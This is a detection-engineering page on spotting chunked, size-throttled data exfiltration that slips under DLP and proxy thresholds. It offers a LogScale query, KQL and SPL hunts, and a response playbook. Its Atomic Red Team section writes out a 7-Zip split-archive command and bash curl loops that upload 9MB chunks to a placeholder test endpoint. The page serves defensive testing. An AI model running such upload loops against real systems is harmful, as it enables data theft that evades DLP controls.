THREAT-Exfil-ChunkedSizeLimitEvasion CrowdStrike LogScale · LogScale

Detect Chunked & Throttled Data Transfer to Evade DLP/Proxy Size-Threshold Detection in CrowdStrike LogScale

Many DLP and web-proxy platforms only inspect or alert on a single transaction/session once its size crosses a configured ceiling (e.g. 10MB, 25MB, 50MB, 100MB) or once a per-user daily transfer volume is exceeded. Adversaries who are aware of these ceilings deliberately size their exfiltration to stay just underneath them rather than attempting a single large transfer that would trip the control. This shows up in two complementary behaviors: (1) archive splitting, where a staged collection of stolen data is compressed into equal-sized sub-threshold volumes using 7-Zip's -v flag, WinRAR's split-volume switch, Rclone's chunker overlay, or a raw `split -b`, producing sequentially numbered parts (.7z.001/.002, .partN.rar, .r00/.r01); and (2) session/day throttling, where the exfiltration channel itself (a C2 implant, a legitimate cloud-sync client abused for the transfer, or a scripted uploader) caps each individual upload's byte count and paces the uploads across many sessions in a day so that both the per-transaction proxy/DLP threshold and any daily aggregate quota are never technically breached, even though the cumulative volume moved over 24 hours can be very large. The two behaviors are frequently combined: a chunked archive's numbered parts are uploaded one at a time, each part sized just under the proxy's inspection ceiling, spread across a day to avoid burst-based rate alarms. Because each individual event looks unremarkable in isolation, this technique is best detected by aggregation — looking for repeated sessions from the same user/host to the same destination whose sent-byte counts cluster just below a round-number threshold, and by correlating that pattern with local filesystem evidence of split-archive staging.

MITRE ATT&CK

Tactic
Exfiltration

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=NetworkConnectIP4
| BytesSent >= 8388608
| BytesSent <= 10485760
| RemoteIP != /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[0-1])\.)/
| Signal := "SubThresholdProxyBurst"
| groupBy([UserName, RemoteIP, ComputerName], function=[count(as=SessionCount), sum(field=BytesSent, as=TotalBytesSent), max(field=BytesSent, as=MaxBytesSent)])
| test(SessionCount >= 6)
| RiskScore := if(TotalBytesSent > 524288000, 92, 75)
| sort(field=RiskScore, order=desc)
high severity medium confidence

CrowdStrike LogScale (Falcon) detection query using NetworkConnectIP4 endpoint telemetry to identify hosts/users producing 6 or more outbound connections whose BytesSent value lands in the 80-100% band just under a 10MB threshold, aggregating SessionCount and TotalBytesSent per user/destination pair and escalating the risk score once the aggregate crosses 500MB. Duplicate with adjusted byte-range filters for the 25/50/100MB bands to cover additional common DLP ceilings.

Data Sources

CrowdStrike Falcon Endpoint ProtectionCrowdStrike LogScaleFalcon NetworkConnectIP4 Telemetry

Required Tables

NetworkConnectIP4

False Positives & Tuning

  • Approved backup/replication agents whose scheduled uploads consistently land in the same byte-size band -- use Falcon host groups to tag known backup infrastructure and exclude matching ComputerName/RemoteIP values
  • Cloud-sync clients whose resumable-upload protocol produces fixed-size chunk uploads to an approved destination

Other platforms for THREAT-Exfil-ChunkedSizeLimitEvasion

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Split-Archive Staging

    Expected signal: Sysmon Event ID 1 for 7z.exe launched with a -v9m volume-size flag; Sysmon Event ID 11 for the creation of stage_archive.7z.001, .002, .003, etc. within a short window.

  2. Test 2Simulate Sub-Threshold Proxy Session Burst

    Expected signal: Proxy/firewall log entries (CommonSecurityLog or pan:traffic) showing 8 outbound sessions to the test endpoint, each with SentBytes in the 8.5-9.5MB range, spread across roughly 40 minutes.

  3. Test 3Simulate High-Volume Low-and-Slow Exfil Escalation

    Expected signal: 60 proxy/firewall session log entries to the test endpoint, each SentBytes in the 8.5-9.5MB range, summing to roughly 540MB over the test run.

Last updated: 2026-07-21 Research depth: deep
References (3)

Response Playbook

Triage

  1. Pull all proxy/firewall sessions for the flagged user/destination pair over the preceding 24-48 hours and plot SentBytes per session — a tight cluster of values sitting just below a round number (10MB, 25MB, 50MB, 100MB) is the core signature; a handful of sessions that happen to be similar size by coincidence is not.
  2. Sum SentBytes across all sessions in the cluster to compute the true daily transfer volume — a per-session view that looks benign (each transfer under the DLP ceiling) can hide an aggregate volume in the hundreds of megabytes to gigabytes.
  3. Check DeviceFileEvents/Sysmon Event ID 11 on the source host for sequentially-numbered archive parts (.7z.001/.002, .partN.rar, .r00/.r01) created shortly before the session burst began — this ties the network pattern to a concrete local staging/collection action and rules out a coincidental bandwidth pattern from unrelated software.
  4. Identify the process actually performing the uploads (browser, custom script, scheduled task, or a known cloud-sync client) — a hand-rolled script or unsigned binary driving the uploads is a much stronger indicator than a recognized enterprise backup agent.
  5. Compare the destination against your organization's approved cloud storage/backup/partner destination list; an unfamiliar external host receiving many size-capped sessions from a single user account is the highest-priority case to escalate.

Containment

  1. If the uploading process is not a recognized business application, isolate the host via EDR and suspend the associated user account's outbound network access pending investigation.
  2. Block the destination IP/hostname at the proxy or firewall to stop further chunked uploads, and add it to a watchlist in case the actor pivots to an alternate destination.
  3. Preserve and quarantine any locally staged archive chunk files before they can be deleted or fully uploaded, so the exfiltrated data set can be reconstructed and scoped.
  4. If a legitimate-but-abused tool (Rclone, a scripting interpreter, or a sync client) was used as the transfer channel, remove or disable it on the host and review how it was obtained/configured.

Evidence Collection

  1. Full list of proxy/firewall sessions in the cluster (timestamp, source IP/user, destination, SentBytes) to reconstruct the complete transfer volume and timeline
  2. The staged archive chunk files themselves (or their filenames/hashes if already deleted) to determine what source data was included
  3. Process command-line and parent-process chain for whatever performed the uploads, to establish whether this was a scripted/automated exfil path or manual actor activity
  4. DNS resolution history and any TLS certificate/SNI data for the destination host, to support attribution and blocklist decisions

Escalation Criteria

  • !Confirmed sub-threshold session burst combined with local archive-chunk staging evidence on the same host — treat as active, deliberate exfiltration rather than a benign bandwidth coincidence
  • !Aggregate daily transfer volume in the hundreds of megabytes or more to an unapproved external destination — escalate as a likely in-progress or completed data breach
  • !Sensitive data categories (customer records, financial data, credentials, source code) present among the staged/uploaded files — trigger legal/DPO breach-notification review
  • !The uploading process is an unsigned or unfamiliar binary rather than a recognized backup/sync agent — treat as attacker tooling and pursue full incident response, including a search for related C2/staging infrastructure on the host

Investigation Guide

Related Techniques

T1030 — Data Transfer Size Limits (parent technique)T1560.001 — Archive via Utility (the compression step that produces the sub-threshold chunks)T1567 — Exfiltration Over Web Service (a common channel for the throttled uploads)T1048 — Exfiltration Over Alternative Protocol (used when the throttled channel is not standard HTTP/HTTPS)T1029 — Scheduled Transfer (adversaries often combine size throttling with time-based pacing across multiple days)

Forensic Artifacts

  • >Sequentially-numbered archive part files on disk (.7z.001/.002, .partN.rar, .r00/.r01) and their parent staging directory
  • >Prefetch/shimcache entries and command-line history for 7z.exe, WinRAR, rclone.exe, or split showing volume-size flags
  • >Proxy/firewall session logs showing SentBytes per transaction clustered just under a round-number threshold across many sessions per day
  • >Scheduled task, cron entry, or script (PowerShell/Python/Bash) responsible for pacing the uploads, if the throttling was automated rather than manual
  • >Any C2 implant configuration recovered via static/dynamic analysis specifying a fixed send-buffer or max-chunk-size value

Tuning Guidance

The ChunkedArchiveStaging signal is common in legitimate backup workflows, so on its own it should feed a lower-priority queue; it becomes high-confidence only when paired with SubThresholdProxyBurst on the same host within a short window. The threshold bands (10/25/50/100/250MB) should be replaced with your actual DLP/proxy inspection ceilings if they differ from these common defaults — misconfigured bands will cause the detection to miss the real evasion point entirely. HighVolumeLowAndSlowExfil is the highest-confidence signal in this detection: legitimate scheduled jobs rarely produce six-plus sessions per day that all land within a narrow band just under a round number while summing to hundreds of megabytes, so this should page on-call directly. Build an allowlist of known backup/sync service accounts and their expected destinations before enabling this in a production SOC to avoid steady-state noise.

Hunting Queries

Baseline 14-day hunt for any user/destination pair producing at least 10 outbound sessions in a single day whose sizes cluster into 3 or fewer distinct megabyte buckets — a low size-variance, high session-count pattern that is unusual for normal human browsing traffic and worth reviewing even without a specific round-number threshold match.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where isnotempty(SentBytes) and SentBytes > 1048576
| where not(ipv4_is_in_range(DestinationIP, "10.0.0.0/8"))
    and not(ipv4_is_in_range(DestinationIP, "172.16.0.0/12"))
    and not(ipv4_is_in_range(DestinationIP, "192.168.0.0/16"))
| summarize SessionCount = count(), DistinctSizesMB = dcount(bin(SentBytes / 1048576, 1)), AvgMB = avg(SentBytes) / 1048576, TotalMB = sum(SentBytes) / 1048576
    by SourceUserName, DestinationHostName, bin(TimeGenerated, 1d)
| where SessionCount >= 10 and DistinctSizesMB <= 3
| sort by TotalMB desc
Hunting — SPL
spl 
index=proxy sourcetype="pan:traffic" bytes_sent>1048576 NOT dest_ip="10.0.0.0/8" NOT dest_ip="172.16.0.0/12" NOT dest_ip="192.168.0.0/16"
| bin _time span=1d
| eval SizeBucketMB=round(bytes_sent/1048576,0)
| stats count AS SessionCount, dc(SizeBucketMB) AS DistinctSizesMB, sum(bytes_sent)/1048576 AS TotalMB BY src_user, dest, _time
| where SessionCount>=10 AND DistinctSizesMB<=3
| sort - TotalMB

Atomic Red Team Tests

Test 1 Simulate Split-Archive Staging
windows

Creates a set of dummy files and compresses them into sequentially-numbered sub-threshold volumes using 7-Zip's -v flag, simulating the local staging step of chunked exfiltration. Use only non-sensitive dummy data.

Command

powershell 
New-Item -ItemType Directory -Force -Path C:\Temp\stage | Out-Null; 1..20 | ForEach-Object { (New-Object byte[] 524288) | Set-Content -Path "C:\Temp\stage\file_$_.dat" -AsByteStream }; & 7z.exe a -v9m C:\Temp\stage_archive.7z C:\Temp\stage\*

Cleanup

powershell 
Remove-Item C:\Temp\stage -Recurse -Force -ErrorAction SilentlyContinue; Remove-Item C:\Temp\stage_archive.7z.* -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 for 7z.exe launched with a -v9m volume-size flag; Sysmon Event ID 11 for the creation of stage_archive.7z.001, .002, .003, etc. within a short window.

Expected Detection

ChunkedArchiveStaging (RiskScore=55) fires once 4 or more sequentially-numbered chunk files are observed within the 15-minute window.

Test 2 Simulate Sub-Threshold Proxy Session Burst
linux

Performs multiple outbound HTTP uploads to a test endpoint, each sized just under a common 10MB inspection ceiling, repeated across several sessions to simulate deliberate size-throttled exfiltration. Use only a non-production, attacker-controlled or sandboxed test endpoint.

Command

bash 
for i in $(seq 1 8); do dd if=/dev/urandom of=/tmp/chunk_$i.bin bs=1M count=9 status=none; curl -s -X POST --data-binary @/tmp/chunk_$i.bin https://<TEST_ENDPOINT>/upload; sleep 300; done

Cleanup

bash 
rm -f /tmp/chunk_*.bin

Expected Telemetry

Proxy/firewall log entries (CommonSecurityLog or pan:traffic) showing 8 outbound sessions to the test endpoint, each with SentBytes in the 8.5-9.5MB range, spread across roughly 40 minutes.

Expected Detection

SubThresholdProxyBurst (RiskScore=75) fires once 6 or more sessions in the 8-10MB band to the same destination are observed within the day window.

Test 3 Simulate High-Volume Low-and-Slow Exfil Escalation
linux

Extends the sub-threshold burst test to a larger number of capped-size sessions so the cumulative daily volume crosses the high-volume escalation threshold, simulating an actor moving a large data set while staying under the per-session DLP ceiling all day. Use only a non-production, attacker-controlled or sandboxed test endpoint.

Command

bash 
for i in $(seq 1 60); do dd if=/dev/urandom of=/tmp/lchunk_$i.bin bs=1M count=9 status=none; curl -s -X POST --data-binary @/tmp/lchunk_$i.bin https://<TEST_ENDPOINT>/upload; sleep 60; done

Cleanup

bash 
rm -f /tmp/lchunk_*.bin

Expected Telemetry

60 proxy/firewall session log entries to the test endpoint, each SentBytes in the 8.5-9.5MB range, summing to roughly 540MB over the test run.

Expected Detection

HighVolumeLowAndSlowExfil (RiskScore=92) fires once SessionCount >= 6 and TotalBytesSent exceeds 500MB for the user/destination pair within the day window.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (3)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1030Data Transfer Size Limits

Related Techniques

T1030Data Transfer Size LimitsT1560.001Archive via UtilityT1567Exfiltration Over Web ServiceT1048Exfiltration Over Alternative ProtocolT1029Scheduled Transfer

Same Tactic: Exfiltration

Popular Detections